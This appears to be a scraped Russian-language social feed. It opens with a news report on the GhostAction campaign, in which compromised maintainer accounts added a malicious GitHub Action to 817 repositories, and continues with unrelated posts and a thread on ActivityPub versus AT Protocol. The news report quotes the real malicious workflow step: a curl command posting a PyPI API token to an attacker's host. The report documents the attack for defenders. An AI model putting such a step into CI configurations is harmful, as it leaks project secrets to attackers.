В ходе атаки GhostAction скомпрометировано 817 репозиториев на GitHub
Исследователи из компании GitGuardian выявили массовую атаку на пользователей GitHub, в ходе которой был получен контроль над 327 учётными записями и осуществлена подстановка вредоносного обработчика Github Action в 817 репозиториев. Атака привела к утечке 3325 секретов, используемых в системах непрерывной интеграции и передаваемых через переменные окружения, включая токены доступа к PyPI, GitHub, NPM, DockerHub и различным облачным хранилищам.
GitHub Actions даёт возможность разработчикам кода прикреплять обработчики для автоматизации различных операций в GitHub. Например, при помощи GitHub Actions можно выполнить определённые проверки и тесты при совершении коммитов или автоматизировать обработку новых Issues. Вредоносный обработчик распространялся под именем "Github Actions Security" и включал в секции "run" команду "curl", отправляющую содержимое переменных окружения на внешний хост при запуске задач в окружении непрерывной интеграции. Вредоносный коммит добавлялся с учётных записей мэйнтейнеров проектов, которые, вероятно, до этого были взломаны или стали жертвой фишинга.
Атака выявлена после разбора аномальной активности, связанной с пакетом FastUUID, предоставляющем Python-обвязку над Rust-библиотекой UUID. Пакет FastUUID, для которого за последнюю неделю зафиксировано почти 1.2 миллиона загрузок, используется в качестве зависимости в популярном проекте LiteLLM, насчитывающем в PyPI более 5 миллионов загрузок в неделю. Анализ изменений в репозитории FastUUID показал, что 2 сентября мэйнтейнер проекта добавил коммит с новым обработчиком Github Action, в котором содержался код для отправки токена к репозиторию PyPI на внешний хост.
- name: Github Actions Security
run: |
curl -s -X POST -d 'PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}' bold-dhawan.45-139-104-115.ple…
Проблему удалось выявить до того как злоумышленники воспользовались перехваченным токеном - публикации вредоносных изменений или модифицированных версий пакета в PyPI для FastUUID не зафиксировано. Похожие подстановки Github Action выявлены ещё в 816 репозиториях, владельцам которых, а также администрации PyPI, GitHub, NPM и DockerHub, направлены уведомления. По состоянию на вчерашний вечер вредоносные коммиты были отменены примерно в 100 репозиториях. В настоящее время при поиске в GitHub определяется 671 коммит с вредоносным Github Action.
Источник: opennet.ru/opennews/art.shtml?…
⚠️ SECURITY Compromised repository
This repo has been compromised, see this commit 658e210CharlesB2 (GitHub)
Statement on discourse about ActivityPub and AT Protocol by W3C SocialCG
Over the past few months in particular, the Social Web Community Group has seen an increase in heated discussions online that have been arguing protocol superiority and creating conflict between ActivityPub and AT Protocol, or trying to promote one over the other. These discussions have generally not been productive, created contention within the community that stands in the way of collaboration, and been a hotbed for conflict, disagreements, and misinformation. There has often been significant biases exhibited within these conversations.ActivtyPub in its current usage does make different design decisions to AT Protocol, but ActivityPub is not necessarily that different from AT Protocol: both are open social web protocols.
There is an entire section of the ActivityPub specification that isn't as well known or widely adopted but which, at a high level, provides fairly similar ideas to those emphasized within the AT Protocol community for separation between data, identity and applications. Recently, a taskforce within the Social Web Community Group has been established to advance what is now known as the ActivityPub API.
Whilst we may have our differences at present, over time those gaps will narrow, as we share a lot more in common than we have differences.
There does not have to be a “winning” protocol. We do not build a better open social web for everyone by fighting and arguing about protocol superiority. That is not how we achieve a better open social web. Instead, we must work together, cross-pollinate and share ideas, and participate within each other's communities with respect and mutual understanding. Arguing between us only emboldens those that seek to derail and destroy efforts to build an open social web.
The practice of collaboration outside of our own groups has a long history within the standards community, whether that is with competing companies working together on standards or protocols, or collaboration between different standards bodies like the W3C and IETF.
There has already been cross-pollination of ideas between the people working on ActivityPub and AT Protocol. For example, AT Protocol adopted an internet draft that was originally written to support the ActivityPub ecosystem, and projects within ActivityPub have adopted some ideas on content labeling and starter packs from the AT Protocol ecosystem.
Both ActivityPub and AT Protocol can and do co-exist. This co-existence is perhaps best emphasized by the outstanding work of Bridgy Fed project, which connects ActivityPub, AT Protocol, and other protocols together allowing for interoperability and community that crosses between protocols. If you wanted to summarise this letter on a t-shirt, it would be “People > Protocols > Platforms”.
This statement is a call for cooling the temperature of discussions and a reminder to be respectful of each other and the huge amount of work everyone is putting in to build a better open social web. We do not win by tearing each other down, which only emboldens and empowers those who do not want either protocol to succeed.
This statement was written following an initial discussion at this month's Social Web Community Group meeting, and has been reviewed by several members of the CG.
general/statements/2025-09-05-activitypub-and-atproto-discourse.md at master · swicg/general
General issue tracker for the group. Contribute to swicg/general development by creating an account on GitHub.GitHub
нравится это
не нравится это
Бегу сегодня забег на 10к.
Небольшая дистанция, но хочется пробежать пошустрее обычного.
Из минусов
- оч плохо спал последние 2 дня и это ощущается
- перекрыли часть города из-за прайда и до старта придется идти пешком
Но в целом, надежды пробежать приемлимо есть.
di поделился этим.
Елец, Липецкая область | Elets, Lipetsk region, 2018.
(c) Sergey Trapezin
#closeuprussia #sergeitrapezin #rf #photography #photo
@rf
Not complaining, I liked it. Though I get very flustered whenever I doomscroll my fedi TL, and then sometimes decided to just be like “this is too cute, am just gonna do something else”
Вовремя ты побрился xD
Всемирный день бороды
Каждую первую субботу сентября отмечается Всемирный день бороды (англ. World Beard Day). Все представители мужской половины человечества, носящие бороду, могут присоединиться к акциям, посвящённым этому празднику.История ношения бороды или отказа...Calend.ru
Низкий тощий мужик пытался удержать свою огромную овчарку, чтобы она не побежала голубей ловить
(Ну или это был ребёнок с лысиной)
Каждую первую субботу сентября отмечается Всемирный день бороды (англ. World Beard Day)!
Ушёл активно праздновать: проблема частного сектора в том, участок сам себя не уберёт. 😀)
Первый урок инглиша в универе
"напишите слова, которые вас описывают, как человека, по одному слову на каждую букву имени и расскажите о том, как оно к вам относится"
Auto upgradable
Reproducible
Text-configurated
Emacs
Mostly working
Я неиронически рассказал всему классу про NixOs вместо себя
Я прям реально сказал I don't usually talk about myself so I'll describe my home computer instead
Мне хотели задать вопросы, но не смогли
Чувствую себя победителем
Dmitry нравится это.
Мне запретили разговаривать на тему ПК, используя термины, потому что препод меня не понимает
В целом ожидаемо
Переключаемся на велосипедную тематику.
Dmitry нравится это.
Но доблестный воин не сдавался
🪟 Мало кто знает, но даже на таком относительно современном компьютере с шильдиком DNS вполне возможно запустить Windows 95.
А смысл, если эту же систему запускали на различных эмуляторах? Взять бы тот же DOSBox, VMware и PCem.
А если на андроиде, то можно попробовать установить систему на Limbo PC, по которому я сильно балдел ещё в 2016 году на своем стареньком планшете от Huawei.
Теперь у всех есть отчётливое ощущение скорого наступления чебурнета?
Срочно пилите свои прокси-серверы за пределами этойСтраны.
> Минцифры определило, какие сайты будут работать при отключениях интернета.
Как сообщили источники РБК, туда вошли госсервисы, маркетплейсы, онлайн-карты, банковские сервисы и др. Список планируется расширять.
rbc.ru/technology_and_media/05…
Появился список сайтов, которые будут работать при отключении интернета
Минцифры определило, какие сайты будут работать при отключениях интернета. Как сообщили источники РБК, туда вошли госсервисы, маркетплейсы, онлайн-карты, банковские сервисы и др. Список планируется расширятьРБК
Вот субботнее смотрилово для ретроэнтузиастов.
Чувак детально рассказывает и показывает, как он при помощи оптимизированных исходников от оригинальной Super Mario Bros. слепил все 32 уровня в один большой мегауровень.
TORFdot0
в ответ на flamingos-cant (hopepunk arc) • • •I think a lot of the hate is because of the realities of the real world implementation of the protocols. The fact that AT Proto is mostly run through the main instance with only nominal federation through other relays. And the fact that AT Proto requires the full firehouse replicated to all relays.
I probably prefer most of AT Proto other than these two issues. Regardless I am on mastodon with it bridged over to bluesky
нравится это
tfm, ns1, crank0271, wizardbeard, yessikg, sabreW4K3, redshift и alsaaas нравится это.
flamingos-cant (hopepunk arc)
в ответ на TORFdot0 • • •It doesn't, not even Bluesky runs a full network archive relay anymore because it proved to be too complicated and expensive.
нравится это
TORFdot0, ns1, crank0271, raoul, gregdaynes и Frosty нравится это.
redshift не нравится это.
TORFdot0
в ответ на flamingos-cant (hopepunk arc) • • •нравится это
crank0271 и mufasio нравится это.
flamingos-cant (hopepunk arc)
в ответ на TORFdot0 • • •Introduction to AT Protocol
mackuba.euнравится это
ns1, crank0271, raoul, General_Effort, gkak.laₛ, timconspicuous и Frosty нравится это.
redshift не нравится это.
timconspicuous
в ответ на flamingos-cant (hopepunk arc) • • •Evan Prodromou commented to say he "disagrees with the purpose of this statement".
I don't understand what he gets out of being so antagonizing. Lovely statement though, nice to see so many signatures.
Create statement on ActivityPub vs AT Protocol discussions (2025-09-05) by ThisIsMissEm · Pull Request #45 · swicg/general
GitHubнравится это
ns1, crank0271, raoul, sabreW4K3, General_Effort, gkak.laₛ, flamingos-cant (hopepunk arc) и Frosty нравится это.
mufasio не нравится это.
SharkAttak
в ответ на timconspicuous • • •timconspicuous нравится это.
sabreW4K3
в ответ на flamingos-cant (hopepunk arc) • • •Ademir нравится это.
Ulrich
в ответ на flamingos-cant (hopepunk arc) • • •People are arguing because ATProto is not open. And that couldn't be more clear in the simple fact that BSky hosts tens of millions of users, 99.95% of "the ATmosphere". While AP has <1% of the number of users and yet they're strewn across tens of thousands of servers.
We've already seen the implications of such closure in the silencing of users by foreign govts, silencing of users in an entire state, and enforcement of draconian ID laws on millions of users in the EU. Meanwhile AP is largely unaffected.
And BSky is still taking the Silicon Valley approach of "we'll figure out how to make money later", to which the answers are the same as every other social platform. They're not funded by donations, they're funded by investments from investors who expect to see a profit eventually.
нравится это
Gtoasted, Scroll Responsibly, luluu, tfm, Lennart Twen, Daggity, airportline, Goldmaster и alsaaas нравится это.
Microw
в ответ на Ulrich • • •ATProto is open. Bluesky is not.
What we currently see is similar to how ActivityPub looked when it was first drawn up as a protocol: when 99% of users were on Mastodon GmbH's server.
The ten thousands of servers came later. And in theory ATProto is defined open enough that it is possible to implement it independently from Bluesky.
нравится это
gregdaynes, Chingzilla, Scroll Responsibly, Frosty и Bricriu нравится это.
Ulrich не нравится это.
Ulrich
в ответ на Microw • • •Not a distinction worth making when 99+% are all on the same server.
99% of the 12 users? Again, BSky is tens of millions of users. Why is it you think they're all on the same server?
Then why is no one doing it?
нравится это
luluu, tfm и alsaaas нравится это.
General_Effort
в ответ на flamingos-cant (hopepunk arc) • • •The statement has been... uh... updated. The URL now reads:
нравится это
tfm и alsaaas нравится это.